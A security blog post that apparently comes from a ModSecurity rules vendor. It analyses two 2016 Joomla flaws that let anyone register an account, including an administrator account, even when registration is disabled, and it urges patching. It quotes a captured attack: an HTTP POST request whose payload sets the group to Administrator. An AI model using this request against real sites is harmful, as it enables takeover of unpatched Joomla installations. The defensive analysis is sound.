Joomla – Account Creation & Elevated Privileges

Introduction

Joomla published version 3.6.4, an update to patch security issues:

– [CVE-2016-8870] – Core – Account Creation (High Priority): attackers can exploit this vulnerability to create any account in a Joomla system regardless of whether its registration has been disabled. (affecting Joomla! 3.4.4 through 3.6.3)

– [CVE-2016-8869] – Core – Elevated Privileges (High Priority): with the vulnerability above, an attacker not only can register an account in a vulnerable system, but also register with the highest privilege – Administrator. (affecting Joomla! 3.4.4 through 3.6.3)

The vulnerabilies has a high severity as it allows anyone to create a user remotely and specify the desired group permission to it, including administrator. We highly recommend that everyone apply latest updates ASAP to joomla installations.

Vulnerability investigate

I decided to investigate further, and I compared the two methods, line by line.
The two pieces of code are:

UsersControllerRegistration::register(), defined in components/com_users/controllers/registration.php, which is actually used by the self-registration process.

and

UsersControllerUser::register(), defined in components/com_users/controllers/user.php, which, on the contrary, is no longer used anywhere.

However, comparing the files, hidden among minor differences, there is an interesting peculiarity: the abandoned code completely ignores the “Allow User Registration” setting.

This means that it could be possible, to self-register even when the global option “Allow User Registration” is turned off.

// If user registration or account activation is disabled, throw a 403.
                if ($uParams->get('useractivation') == 0 || $uParams->get('allowUserRegistration') == 0)
                {
                        JError::raiseError(403, JText::_('JLIB_APPLICATION_ERROR_ACCESS_FORBIDDEN'));
                        return false;
                }

It is worth to point out a second potential vulnerability is present also.

While the registration controller filters the received data and saves the filtered data, the user controller filters the data, but stores the unfiltered data instead.

UsersControllerRegistration::register()

$data = $model->validate($form, $requestData);
.
.
.
$return = $model->register($data);

UsersControllerUser::register()

$return = $model->validate($form, $data);
.
.
.
$return = $model->register($data);

Real Example Vulnerability

If we check real life webserver, this attack is started these vulnerabilities. Here modsecurity audit log of POST url:

--d4935b51-B--
POST /index.php/component/users/?task=registration.register HTTP/1.1
Host: joomla.malware.expert
Content-Length: 372
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0
Connection: keep-alive
Cookie: 09fb8b2ded0ff77306191089b2381ab6=9d8ba51c4f51fb375b99028143171197
Referer: http://joomla.malware.expert/index.php/component/users/?view=registration
Content-Type: application/x-www-form-urlencoded

POST payload which botnetwork try to create an administrator account to Joomla, even registration is disabled global settings:

--d4935b51-C--
user[password1]=3XZ1XS&option=com_users&user[password2]=3XZ1XS&task=user.register&user[password]=3XZ1XS&user[active]=0&user[activation]=0&user[groups][0]=7&user[block]=0&user[email1]=ringcoslio1981@gmail.com&user[username]=J12C0C&user[email2]=ringcoslio1981@gmail.com&user[name]=Z1R9Y2&099c21877c4779be605570e4849ec90a=1

Final Words

By combining two vulnerabilities in one, as depicted above, we are able to gain the full control of a Joomla instance.

The good news now is that if you have your site behind Modsecurity and you use Malware Expert – ModSecurity Rules you are protected against this issue.